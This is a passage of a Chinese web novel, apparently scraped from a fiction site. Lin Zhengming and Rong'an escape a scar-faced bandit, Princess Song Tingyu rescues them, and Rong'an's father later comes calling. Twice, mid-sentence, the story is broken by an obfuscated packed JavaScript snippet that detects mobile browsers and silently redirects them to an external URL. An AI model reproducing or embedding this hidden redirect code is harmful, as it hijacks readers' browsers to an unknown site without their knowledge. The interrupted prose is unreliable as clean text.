他回身见荣安摔倒,又咬咬牙扶着树干站起来,脸上是强压下惊慌的镇定,倔强道:“我没事,走吧。” 他点点头,扶了她一把,安慰道:“再坚持一下,殿下很快就会来救我们的。” 荣安有些喘,心里还有些害怕,一路上林徵鸣只顾低头走,并不说话,安静的林子里只有他们两个人的呼吸声,四周黑漆漆的,她心里恐惧,面上也不敢表现出来,怕拖了别人的后腿,这会儿林徵鸣主动和她说话了,她忙应道:“你怎么知道殿下会来?” 她心里想的是,连亲生父母尚且对她不管不顾,更何况是公主殿下呢。 林徵鸣脸上却露出一个安心的笑来,低声道:“她会来的。” 荣安不知道她这种自信是从何来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362258|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,还想再同他说几句话,随便说点什么就好,只要不这样安静。但林徵鸣说完这句就安静了下来。 荣安心道,这人的性子也太冷了些。 两人穿过一片密林,前方是一片空地,林徵鸣回头看了看,密林深处安静极了,没有窸窸窣窣的脚步声,他松了一口气,见荣安脸色苍白,呼吸急促,皱眉道:“歇一会儿再走吧。” 荣安没再逞强,她的确是坚持不下去了,靠在一棵树下坐下来,努力平复着呼吸。夜里安静极了连蝉鸣声都没有,只有一轮圆月孤零零的挂在天上,柔和的月光洒在空地上,林徵鸣看着月亮,心里想着宋庭玉,还有那份排了很久的酥饼。 蓦地,就听身后传来低低的哭泣声。 他回过头,见荣安脑袋埋在双膝上,身子一颤一颤,极力压抑着抽泣,他叹了一口气,一时也不知道说什么好。 来自亲人之间的伤害有时候更加赤裸裸,因为不曾防备,所以无所遁形。 他是,宋庭玉也是。 他靠在一棵树上闭目养神,静静听着荣安低低的、压抑的泣音,半晌,他突然直起了身子,低声道: “嘘。” 荣安一怔,忙捂紧了嘴巴,愣愣地看着林徵鸣。 林徵鸣听到林子里有一阵细微的响动,绷紧了身子,荒山野岭的,不管是遇到野兽还是遇到追踪的人,都不算什么好事。他向荣安摆了摆手,示意她站起来。 “走!” 荣安起身,率先往前走。 “哪里走!” 林子里传来一声怒吼,林徵鸣反应极快,立刻伸手将荣安推到一边,自己猛一闪身,躲过了飞速旋转着过来的一根木棒。站稳之后回头看去,就见林中走出一个阴沉沉的身影,真是那个大胡子匪徒。 这次他没有戴斗笠,林徵鸣终于看清了他的长相:满脸横肉,一道长长的刀疤从眉心横贯整张脸,一直延伸到下巴,他露出一个冷笑,牵动着那条刀疤宛如一条爬在脸上的多脚蜈蚣。 荣安死死压制住了下意识脱口而出的尖叫。 匪徒看向两人,笑得阴恻恻:“挺能跑的,接着跑啊!” 林徵鸣此时反倒镇定下来,淡淡道:“累了,不想跑了。” 那刀疤脸一愣,似乎没想到林徵鸣一个读书人,说话还挺横,仰天一笑,冷嗤道:“嘴还挺硬,我看你这下还怎么硬。” 说着,双手成爪,飞身上前,眼见着就要抓到林徵鸣。 林徵鸣矮身一躲,捡起地上的木棍,趁他张开双臂,瞅准位置,向那人腋下一捅,刀疤脸惊呼一声,直觉一阵酸痛,招式被打断,停在半路。 林徵鸣低声: “大包。” 趁那人还没反应过来,又移步换位,双手制住他的双臂肘关节处,狠狠一按。 “尺泽。” 那人身子一歪,头不受控制的向下一缩,林徵鸣上前一步,手往后一移,又是一按。 “少海。” 那人酸痛得矮身蹲下,林徵鸣飞身一脚,正中小腿。 “风市。” 最后朝他肩膀上猛地一踹,刀疤脸痛呼一声,被踹出去几步远,后背擦过地面,狠狠摔在树丛里。 这一幕不过发生在瞬息之间,荣安目瞪口呆地看着林徵鸣,喃喃道: “原来你会武功啊!” 刀疤脸捂着胳膊从地上站起来,看向林徵鸣的眼神染上了杀意。他从腰侧抽出一把长刀,怒吼一声,面目狰狞,用了十足的力气朝林徵鸣劈来。 毕竟是行走江湖多年的打手,这一击极快也极狠辣,林徵鸣根本无从躲避,他看着已经劈到面前的刀,竟然还有闲心想: “这下误会了,谁能相信我真不会武功。” 26. 救美 林徵鸣闭上眼睛,在听到刀刃相接的“砰”地一声时,他心中一定,有种果然不出所料的感觉。 伴随着荣安的一声惊呼,一柄刻印着黑金古朴祥云章纹的宝剑从林中横斜飞来,带着强硬的力道,狠狠打在疤脸的长刀上,刀刃一歪,刀身带着不容抗拒的力道脱离了他的控制。长剑斜插在树干上,发出铮铮鸣响。刀疤脸一惊,上前一步握紧刀柄还要再砍,一根长鞭从同一处飞来,鞭梢像毒蛇的信子,狠狠一卷,将他的手腕牢牢控住,再猛地一拉,刀疤脸的胳膊向后一拐,林徵鸣清晰地听见了骨头错位的声音。 "啊!" 不等刀疤脸恢复过来,长鞭的主人从飞马上腾空而起,一手收回长鞭,一脚猛地一踹,那刀疤脸还没回过神,就已经倒在地上打滚,抱着肩膀嗷嗷喊痛,半晌起不了身。 宋庭玉落了地,她身后的黑衣护卫一拥上前,将人捆了,林徵鸣看过去,护卫身后还捆着三个人,正是破庙外那三个绑匪。几人皆灰头土脸,看样子被抓住前也吃了一番苦头。 宋庭玉走到林子边,定定地看着灰头土脸、有些狼狈的林徵鸣,上下打量他一番,心里的石头落了地。只是面色仍然十分难看,半晌没说话。 片刻后,才转过身,一言不发地从树干上拔出自己的剑,合剑入鞘,又慢慢地将长鞭收好,别在腰间。 荣安缓了一会儿从刚才的惊心动魄中回过神来,走到宋庭玉身边郑重道:“多谢殿下救命之恩。” 宋庭玉摆摆手示意她不必多礼,道:“天色已晚,先回去休息吧,这几个匪徒就交给京兆尹了,明日你再去府衙将一切事情说清楚。” 荣安犹豫着,鼓起勇气道:“本不该劳烦殿下,但,殿下今晚可否容我在公主府休息一日?另外,能不能先不要告诉我爹娘我已经脱险的事情?荣安虽愚钝,但对这件事情也有些猜测,恐怕也不必麻烦京兆尹查什么了。” 宋庭玉微微皱眉,见荣安神情凄惶,也不好拒绝。况且人也是她救的,干脆帮人帮到底吧。 她点点头:“既然如此,那你就在府上先好好歇息一晚吧。” 几人赶回城,因着有公主府的令牌,这一来一往守城的人皆没有多问。到了公主府,宋庭玉嘱咐忍冬让府上的人不要声张,几人自去洗漱不提。 林徵鸣见宋庭玉一路上脸色不好,也不同他说话,知道她恐怕是动了气,想起林中那惊险一幕,知道自己理亏,想着明日去同她认个错,泡完澡一出来,却见陈伯拿着一个食盒,正将里面的东西往桌上摆,都是清淡的小菜点心,还有一盘酥饼,圆圆的沁着油润。 林徵鸣看见酥饼心头一动,心跳有些不受控制地变快。 陈伯见他出来,笑道:“快坐吧,殿下知道你从早上起就没用饭,特地让府里厨子准备了几道好克化的点心,快垫一垫吧。” 林徵鸣问:“殿下呢?已经歇下了吗?” 陈伯笑得有些无奈:“没呢,殿下本就觉少,今晚这一番折腾,只怕是又睡不着了,这会儿在书房呢。” 林徵鸣低下头,惭愧道:“是我不好。” 陈伯连忙摇摇头:“这是哪儿的话,此番遭遇实在是凶险至极,万幸是有惊无险,你和荣安县主能平安回来就好。” 此刻子时已过,但因着今天折腾了一通,又要同候荣安县主安置,公主府里的下人依旧忙忙碌碌。 宋庭玉没有用夜宵的习惯,她坐在书房里,安静第捧着一本书,书房里燃着淡淡的熏香,让人心绪平静。 响起轻轻的敲门声,宋庭玉以为是忍冬,头也没抬:"进。本宫说了今日不想用膳,拿下去吧。" "吱呀"一声,门打开了,接着是不同于忍冬的、有些刻意放轻的脚步声。 宋庭玉抬起头,见林徵鸣拎了一个食盒站在桌边。 她没有计较林徵鸣擅自进入她的书房,只是淡淡道:"怎么,现在用饭的地方改成本宫的书房了?" 林徵鸣没理会她的阴阳怪气,温声道:"听闻你今日午膳就没有用,又累了一天,多少吃一些吧。" 宋庭玉复又低头看着书,像是没听见林徵鸣的话,过了一会儿才道:“本宫的书房,旁人不得随意进入,谁让你来的?” 林徵鸣将食盒放在桌上,知道她是担心了自己一整日,此刻“新仇旧恨”加在一起,总是情绪不顺的。他立在原地,半晌才温声道:“对不住,今日让你担心了,是我不好。” 不知为何,林徵鸣往日温和的声音现在在宋庭玉的耳朵里莫名有些令人烦躁,这种烦躁并不是突然出现的,在她今天上午担忧林徵鸣时,在她带着人不管不顾的满世界找人时,在她看见那刀疤脸匪徒的长刀对着林徵鸣直直砍下去时,在她看到林徵鸣不躲不闪时,或许在更早的时候,这种烦躁就已经隐隐出现在了她平静的生活里。 她不喜欢这种躁动,在她眼里,林徵鸣既然入了她公主府,就名正言顺是她宋庭玉的人,无论他从前是什么身份,从现在到以后,他就只有一个身份,那就是公主府的门客,至于林徵鸣身上的秘密,宋庭玉并不在乎,她会让所有背叛她的人后悔自己的摇摆不定。 但是现在,这种笃定里染上了一种别的色彩,一种对别人的所求,这种所求让她感到有什么东西正在隐隐地失控。 而她的生活里不容许失控。 宋庭玉低下头,没有说话,只是看着眼前的书册,仿佛那是什么极其重要的东西。 林徵鸣顿了顿,见她并没有同他交谈的意思,想了想,低声解释道:“今日我回府的时候,在路上见到李记酥饼,记得你上次说想吃,又去买了一些。正打算回来,在路边那条巷子里看见了曹文益。” 宋庭玉没打断也没有回应,只是静静听着。 林徵鸣接着道:“我见他抱着个包裹,行动鬼鬼祟祟,便跟了上去,一直跟到那间善堂前,我看见他与门里的人交谈几句,又将包裹递给了里面的人。我本想回来的,结果没想到被那个有胡子长刀疤的匪徒发现,他从后面打晕了我,我醒来时,就已经在城外的破庙里了。” 宋庭玉听到他说自己被打晕时,指尖一颤。 见她只是神色淡淡地点了点头,林徵鸣知道她并没有与自己说话的意思,便轻声道:“不打扰了,你早些休息。今日多谢,救命之恩,无以为报。” 宋庭玉心中冷嗤笑,救命之恩又如何,不还是有那么多事情瞒着自己。 她不搭话,只是一心看着书册,等到察觉到那刻意放轻的脚步声渐渐远去,才抬起头,意味不明地看着被留在桌上的、孤零零的食盒。 她抿着唇站起身,心里莫名火起,一把掀开食盒的盖子,见里面放着一碗鸡汤馄饨、一碟子银丝卷,还有一碟香油拌的小菜,正是小厨房给林徵鸣送的夜宵,唯独少了那份酥饼。 她看着食盒里还冒着热气的夜宵,神情晦暗,那种隐隐的失控感再一次涌上心头。 昨日宋庭玉带人满街找人的事情并不低调,回城时又是浩浩荡荡一行人,还有四个被捆成一串的匪徒,承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362259|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安侯府消息灵通,自然已经知道荣安回来了,一大早就派车到公主府来接人。经过上次的灰头土脸,承安侯显然客气规矩许多,上门时送来一大箱礼品,以感谢宋庭玉替他们找回女儿。这次他不在端着侯爵的架子,只连连道谢,又说侯夫人这几日思女心切,缠绵病榻,实在是下不了床,不能当面拜谢,还望公主海涵。 宋庭玉并不吃这一套,只平淡地扫了箱笼一眼,只说虽然理解侯夫人思念女儿,只是荣安舟车劳顿又受了惊吓,此时尚在休息,她没有将客人往外赶的道理,回不回府,还要看荣安县主自己的意思。若是承安侯不嫌弃,不如在公主府喝杯茶,待荣安醒过来,父女俩见上一面,想必荣安即使身子不适,也要回父母身边的。 她这话说得既是婉拒也是试探,一般的人家若知道爱女经历了这样一番劫难,必定是要细细照看的,承安侯脸上殷切的神情一滞,隐隐露出些不耐烦来,他也是没想到宋庭玉竟光明正大要扣下他们家的女儿,心中急切,这个荣安惯会惹事,此番闹出这样一遭祸事,还让昭平公主插手进来,如何收场。 宋庭玉自然能猜得出这背后定有蹊跷,她很是看不惯承安侯一家人,还慢悠悠地火上浇油道:“对了,昨日抓到的四个匪徒,我已命人押送进了京兆府,帮人帮到底,既然侯爷与侯夫人身体不适,就不必多思多虑,此时交给京兆尹就放心吧。” 承安侯脸上的笑容已经维持不住,心中焦急万分,他这次来一是想带回荣安县主,二就是要让昭平公主将这四个人交给承安侯府处理,这下可如何是好。 宋庭玉不发一言,只管喝茶,承安侯已经汗流浃背,心中权衡片刻,还是觉得赶紧让那四个匪徒闭嘴比较重要,挤出一个笑道:“殿下思虑周全。荣安几番受惊,恐怕还需静养,承蒙殿下照应,那就多叨扰了。” 宋庭玉不置可否,只放下茶杯,低声问:“承安侯可要去看看贵府小姐?” 承安侯犹豫片刻,还是道:“荣安在殿下府上,臣很是放心。家中夫人还需要人照顾,就不叨扰殿下了。” 宋庭玉冷冷看着承安侯步履匆匆的背影,心下冷笑。 正堂的屏风后,荣安苍白着脸走出来,她这几日本就精神高度紧张,又饿着肚子跑了那么些路,几番历险,昨日精神一松懈便发了高烧,宋庭玉说她需要静养倒也不是搪塞。 “怎么出来了?” 见人出来,宋庭玉皱眉起身,摸了摸她的手背,责怪道:“穿这么单薄,见了风又要着凉,底下的人照顾不尽心?” 荣安忙摇摇头,低声道:“不是他们,是我听见父亲来了,想来看看。” 宋庭玉一听,也沉默下来,半晌才道:“你也听见了,你父母亲都病了,家中恐怕也乱作一团,你在我这里修养是最好的,他们……恐怕也是这样想的。”这话说得牵强,偌大一个承安侯府,难道还找不出几个照顾荣安的人?怕是心里有鬼,急着遮掩别的事,不敢让荣安回去。 荣安自然也明白这一点,她凄然一笑,摇摇头道:“我都明白的。父母待我与兄长,一向有所不同,种种偏袒,我打小就明白的。京中像我这样处境的女子不少,本也没有什么好说的,只是我没想到……我没想到他们竟会为了兄长,将我推出去。” 宋庭玉奇怪道:“什么叫将你推出去?” 荣安一手抹了抹眼泪,凄然道:“殿下可知,那群匪徒,早已与兄长有联系?兄长去过道林巷里的那间益善堂,我当时被绑在那间屋子里,我什么都看见了。”